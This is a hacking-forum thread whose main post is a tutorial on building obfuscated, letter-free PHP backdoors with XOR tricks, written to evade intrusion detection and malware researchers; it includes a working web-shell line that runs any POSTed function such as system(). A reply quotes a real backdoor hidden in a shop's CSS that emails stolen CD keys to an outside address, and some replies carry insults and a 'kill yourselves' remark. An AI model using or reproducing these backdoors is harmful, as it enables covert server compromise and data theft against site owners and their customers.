

Forum:[Hack Forums](#)

Thread: [LEGION | How to write nonalphanumeric PHP backdoors](#)

Starfall - February 1, 2013, 1:28 am

[img]http://i.minus.com/ieq6viOQ6szdE.gif[/img]

This tutorial is my attempt at entrance to Legion.

In it, I will cover how to write non-alphanumeric PHP backdoors. This requires a bit of prior knowledge.

You will need to know:

PHP

Logic

How to use curl or at least some kind of HTTP request editor (if you're going to make a strange backdoor)

You'll also need to know the mathematical concept behind the XOR operation (^ in PHP).

As a quick primer, I'll go over what that does. XOR takes two bits and compares them, then generates a new bit depending on the result. If the bits compared are the same, the result bit is 0. If they're different, the result bit is 1. In PHP, this comparison is done bit-by-bit with two bytes.

Example:

Code A B A XOR B

0 1 1

0 0 0

1 1 0 Mathematically, XOR is associative. This means if $C = A \text{ XOR } B$, then $A = B \text{ XOR } C$ and $B = C \text{ XOR } A$.

XOR also is commutative, and has an identity property. XORing a bit with 0 always returns itself, and XORing a bit with itself always returns 0.

This crap will be important later, when our backdoor decodes itself.

To find values to use in your code, try this:

PHP Code

```
<?php
```

```
echo "A" ^ "}" ; ?>
```

The above example will return <. Because XOR is associative, we now know that "`< ^ }`" = "A", and can generate an A without using any alphanumeric characters.

We'll need to go over a few more ideas first, that may not be obvious to some people. PHP is a weakly typed language, meaning we can abuse its typing a bit.

For example, we can cast strings as functions, ints as strings and booleans as ints.

Example:PHP Code

```
<?php
```

```
$_++; // This will throw a warning, suppressable with the @ operator.
```

```
// Because an undefined variable's value is null, and null==false==0, we can add 1 to it and create a number without using any numbers.
```

```
$_="<^}"; // This is "A".
```

```
$_("stuff");  
// A is an undefined function so this will error and die. I don't care. It still shows that we can call strings as functions.  
$__=!$_; // This will be !1 = !true = false
```

Now, why would we want to make a non-alpha PHP backdoor, you might ask? Well, there are a few reasons. Mainly we would want to bypass an IDS and confuse the hell out of malware researchers, but there are many other reasons I could think of.

The basic idea is to create some useful strings like "_POST", "system", "call_user_func_array", or whatever we want to do in our backdoor, then call them with user input as parameters, all without using a single letter or number in our code. We can do this using the XOR operator and other bitwise shifts if we so desire.

A rather oversimplified example of a nonalpha PHP backdoor is as follows:

PHP Code

```
<?php  
@$_++; // $_ = 1  
$__=("#^^|"); // $__ = _  
$_.=(".^^~"); // _P  
$_.=("/^^"); // _PO  
$_.=("|^^/"); // _POS  
$_.=("{^^/"); // _POST  
${$__}[!$_](${$_}[$_]); // $_POST[0]($_POST[1]);  
/* we have to encapsulate our $__ in {}s so we don't confuse PHP.  
Without these, it will return $_POST[0] which is "_", instead of our input.  
*/
```

?>We can consolidate \$__ into a single line, making this code much harder to read, like so:

PHP Code

```
<?php  
$__=("#^^|").(".^^~").("/^^").("|^^/").("{^^/");
```

We now have a basic obfuscated PHP function-call backdoor. But what if we need to call a function with 2 or more parameters? I won't spoon feed this, but we can use the same ideas to check if the length of our \$_POST array is greater than two, and then use a ternary statement to run our code, like so.

PHP Code

```
<?php  
@$_!=@!_?@$__($$_[____],$$_[____]):@$__($$_[____]);  
Code intentionally broken because skiddies gonna skid.
```

To actually use the backdoor above, we'd need to send POST variables as such:

0=function name we want to call, such as system() or readfile().

1=parameters, the command we want to run, file we want to read or whatever.

If there's anything I missed or that you'd like me to add to this, please let me know, and please provide feedback. Thanks.

Am I cool yet?

Vinnie - February 1, 2013, 1:32 am

Wow I'm more than impressed, this threads gave me a whole different outlook on you, thank you very much for taking part. Seriously.

Starfall - February 1, 2013, 1:36 am

(Feb 1, 2013 02:32 AM)?nonymous Wrote: [\[CITE\]](#) Wow I'm more than impressed, this threads gave me a whole different outlook on you, thank you very much for taking part. Seriously.
Thank you, kind sir. What did you expect, some lame SQL injection crap?
By the way, this was a kind of rushed attempt. If I had written it over the course of a day or two and shown ALL my tricks off, I'd love to see your response to that :P

Vinnie - February 1, 2013, 1:38 am

(Feb 1, 2013 02:36 AM)Starfall Wrote: [\[CITE\]](#) Thank you, kind sir. What did you expect, some lame SQL injection crap?
To be honest I expected another thread about RATting ?

(Feb 1, 2013 02:36 AM)Starfall Wrote: [\[CITE\]](#) Thank you, kind sir. What did you expect, some lame SQL injection crap?
By the way, this was a kind of rushed attempt. If I had written it over the course of a day or two and shown ALL my tricks off, I'd love to see your response to that :P
Well I'll take you on that challenge. Maybe on day... ?

Starfall - February 1, 2013, 2:02 am

Relatively large image below. All the reps in this pic are in reference to this tutorial.

Spoiler ([Click to View](#))

[img]http://www.anonmgur.com/up/ae330761a92df8270cfd8a1ad8f47a40.png[/img]
(??_??)

Vinnie - February 1, 2013, 2:52 am

So it looks like making this thread for Legion really was worth it ;)

RyanC - February 1, 2013, 3:53 am

(Feb 1, 2013 02:38 AM)?nonymous Wrote: [\[CITE\]](#) To be honest I expected another thread about RATting ?
Ratting would undoubtedly have been more fitting for someone wanting to join Legion.

Vinnie - February 1, 2013, 4:05 am

(Feb 1, 2013 04:53 AM)Who? Wrote: [\[CITE\]](#) Ratting would undoubtedly have been more fitting for someone wanting to join Legion.
Omni won't allow the RAT's crew back, it was a decent group not because of what they did but how they influenced the forum.

RyanC - February 1, 2013, 4:07 am

(Feb 1, 2013 05:05 AM)?nonymous Wrote: [\[CITE\]](#) Omni won't allow the RAT's crew back, it was a decent group not because of what they did but how they influenced the forum.
I wouldn't judge a hacking related group based on it's contributions, but the skill of it's members.

Vinnie - February 1, 2013, 4:08 am

(Feb 1, 2013 05:07 AM)Who? Wrote: [\[CITE\]](#) I wouldn't judge a hacking related group based on it's contributions, but the skill of it's members.
I agree. But this forum has turned a blind eye towards hacking. All you see now are a bunch of kids playing OMGPOP with their "official" groups. I don't approve of that. I want some quality back, anything but OMGPOP.

Starfall - February 1, 2013, 4:17 am

(Feb 1, 2013 05:12 AM)Who? Wrote: [\[CITE\]](#) I would doubt a member that calls themselves 'Anonymous' knows much about skill, feel free to prove me wrong. Of course.
Being leader of this group doesn't need to imply skill. He may or may not be skilled, and it doesn't

really matter much. What matters here is he has a passion for the "art" of hacking, and would walk a few miles to see something that's not shit.

Starfall - February 1, 2013, 4:21 am

(Feb 1, 2013 05:20 AM)Who? Wrote: [\[CITE\]](#) 'OG' I've never quite understood what kids mean with that, especially since 'Anonymous' seems like the peak of unoriginality.

It means everyone wants it and no one can have it because some 13 year old got it first. :P
Anyway, can we stay on topic of the tutorial please? (inb4 lotsa posts gone)

RyanC - February 1, 2013, 4:28 am

(Feb 1, 2013 05:25 AM)Beau™ Wrote: [\[CITE\]](#) Do I have to write a Legion tutorial on what the definition of "OG" means? I'm sure you'll be able to shun it somehow.

Please go on and do that then, I doubt you can make any sensible explanation on how 'OG' which apparently stands for 'original' is yet another definition for unoriginality.

rl fennec - February 1, 2013, 4:29 am

I know this is none of my business, but you's should argue somewhere else and keep the thread on topic.

Starfall - February 1, 2013, 4:30 am

(Feb 1, 2013 05:29 AM)Virtuosity. Wrote: [\[CITE\]](#) I know this is none of my business, but you's should argue somewhere else and keep the thread on topic.

Report the posts and they'll be removed.

If anyone has questions about the tutorial itself feel free to ask.

Vinnie - February 1, 2013, 4:30 am

(Feb 1, 2013 05:20 AM)Who? Wrote: [\[CITE\]](#) 'OG' I've never quite understood what kids mean with that, especially since 'Anonymous' seems like the peak of unoriginality.

Xbox term, OG; Originality. Since I have nothing else to reply to that's worth my time expect from being being verbally bullied by Kevin Mitnick over here, I think I'm out for now. Good day. Starfall thank you.

-?Divine- - February 1, 2013, 5:13 am

Nice tutorial Starfall. Good job.

And guys stop trashing her thread. This discussion should be taken elsewhere. What you're doing now is off topic posting.

Dyme - February 1, 2013, 5:34 am

This is the only legion tutorial thread that has actually been unique so far. If you're gonna flame, pick another thread.

Sky - February 1, 2013, 10:05 am

Made for a good read, Certainly one of the better tut's I have seen on HF! Couldn't quite get all of it but understood it for the most-part.

~Arcane ?

Starfall - February 1, 2013, 1:43 pm

(Feb 1, 2013 11:05 AM)Arcane Sky Wrote: [\[CITE\]](#) Made for a good read, Certainly one of the better tut's I have seen on HF! Couldn't quite get all of it but understood it for the most-part.

~Arcane ?

I wrote this in a little over an hour and it's one of the best you've seen?

Thanks, I guess :p

RyanC - February 1, 2013, 2:02 pm

A quick question, what's the use for this aside of demonstrating ones autism?

Sky - February 1, 2013, 2:19 pm

(Feb 1, 2013 02:43 PM)Starfall Wrote: [\[CITE\]](#) I wrote this in a little over an hour and it's one of the best you've seen?

Thanks, I guess :p

I guess the content was more to my taste ?

~Arcane ?

Light Yagami. - February 1, 2013, 3:34 pm

Nice tut Starfall keep up the good work i love you.

Starfall - February 1, 2013, 5:24 pm

(Feb 1, 2013 06:34 AM)Dyme Wrote: [\[CITE\]](#) This is the only legion tutorial thread that has actually been unique so far. If you're gonna flame, pick another thread. This isn't entirely unique to be honest with you, but then again nothing is.

Jay? - February 4, 2013, 7:46 pm

All that fucking php.

I think I have seen a tutorial like this on another smaller website. Not as in this was copy and pasted but it went through the same basic steps. I really like how you organized it however. Very easy to read and very well setup. Bang bang. ?

Stay Plural - February 4, 2013, 8:05 pm

Impressed, I'll save this somewhere.

Funny thing is that a friend got freelance work and it was backdoor'ed after I looked through the files... lawl.

Then there was a shitty hidden file in the CSS.

<http://pastebin.com/raw.php?i=YQpJDCR1> <--

PHP Code

```
<?php
```

```
mysql_query("SELECT * FROM `cdkeys` LIMIT 1");while($row = mysql_fetch_array($result)){echo
'<div class="codedisplay"><div style="margin-top:26px; width:578px;">This: '.$row["cdkey"].
'</div></div>';mail("babin.aho@hotmail.com", 'CdPAYPAL', "",'.$row["cdkey"]."")}
```

heh.

fyi, it was a key shop; got refund... threatened the guy. ;_;

Kind of sad people post these tutorials and all you can get is "thanks nice tutorial" and etc... I'm actually going to use this when school is settled down (as the semester just started.)

Anyways.

Code 1st URL argument's parameter is sending an email to babin.aho@hotmail.com, the email will contain 1* key on it. After sending an email to that specified email, he then deletes that row which contained the key. 2nd URL argument's parameter is displaying all the keys in stock on your DB. 4th URL argument's param. will add a string in index.php file, it will probably be some PHP script. Those unlink(param.) deletes those files which are in the param. value. rmdir will remove the folders.

Jay? - February 4, 2013, 8:07 pm

(Feb 4, 2013 09:05 PM)Stay Plural Wrote: [\[CITE\]](#) ...
Your signature explains your usertitle. ?

?nonyomous - February 11, 2013, 10:18 am

More people should look at this thread. ?

Phizo - February 11, 2013, 9:05 pm

(Feb 11, 2013 11:18 AM)?nonyomous Wrote: [\[CITE\]](#) More people should look at this thread. ?
Agreed, Starfall did a good job writing this.
It's unique, it should have a lot more feedback than it currently does.

?nonyomous - February 12, 2013, 11:57 am

(Feb 11, 2013 10:05 PM)Phizo Wrote: [\[CITE\]](#) Agreed, Starfall did a good job writing this.
It's unique, it should have a lot more feedback than it currently does.
Without doubt. I think most users find it too advanced though, but they should give it a chance.

4RG0S - February 12, 2013, 12:01 pm

Nice Tutorial, thank you for sharing this :)

Professor Z - February 12, 2013, 4:32 pm

I must say, I'm pretty impressed.
One of the few good ones over PHP backdoors. One of the best I've seen yet. Gratitude, Starfall.

arystar - February 14, 2013, 12:15 am

That's truly impressive, didn't know we could do that with a simple XOR statement :O

Thanks for the tutorial.

Keeper - May 5, 2013, 3:22 pm

I fail to understand why this is buried when such content is not available elsewhere. What's more, this gave me a solid basis over which I can carry on with that.

-?Divine- - May 5, 2013, 4:21 pm

Amazing tutorial. It's a pain in the ass to write though.

Antion - May 5, 2013, 4:26 pm

Good tut made me wiser i am really tired of viewing same ones :) thanks

kimsonha - May 10, 2013, 6:18 am

Impressed.
The best tutorial I have seen.
Keep it up :)

frictionless - June 5, 2013, 11:15 pm

excellent tutorial very interesting subject

rohitsimha - June 6, 2013, 6:03 am

nice tutorial ..thnx man !!! ...gonna try this

Aresm - January 28, 2014, 4:43 am

Wow, such a good tutorial, going dead because its hard for some members.

HF lacks content like this. Read through this, finally something new.

I miss you Starfall, bby ;-;

Hitchhik3R - January 28, 2014, 8:32 am

thanx a lot for this HQ tut

will get back to this one day

Reminance - February 20, 2014, 7:26 am

Why does this tut go to the bottom, when its some of the most HQ shit in here?

I guess most of HF cant understand it.

Im ing this, and bookmarking it for future use!

duude - February 21, 2014, 8:18 am

Thanks for this tut, gonna bookmark it for later :-)

antlers - May 4, 2014, 11:23 pm

Nice but consider the possibility a sysadmin finds this, in short this is very fishy.

RopMyCock - May 5, 2014, 5:10 pm

rip legend, more people will see this now

hahdbwoannniabs - May 5, 2014, 7:16 pm

Dumbass fucking gravediggers, kill yourselves.

RopMyCock - May 6, 2014, 4:08 am

(May 5, 2014 07:16 PM)ThatExploitTho Wrote: [\[CITE\]](#) Dumbass fucking gravediggers, kill yourselves.

You're clearly autistic or mentally deficient of some sort.

upiter - May 6, 2014, 8:09 am

That was very usefull! It is interesting!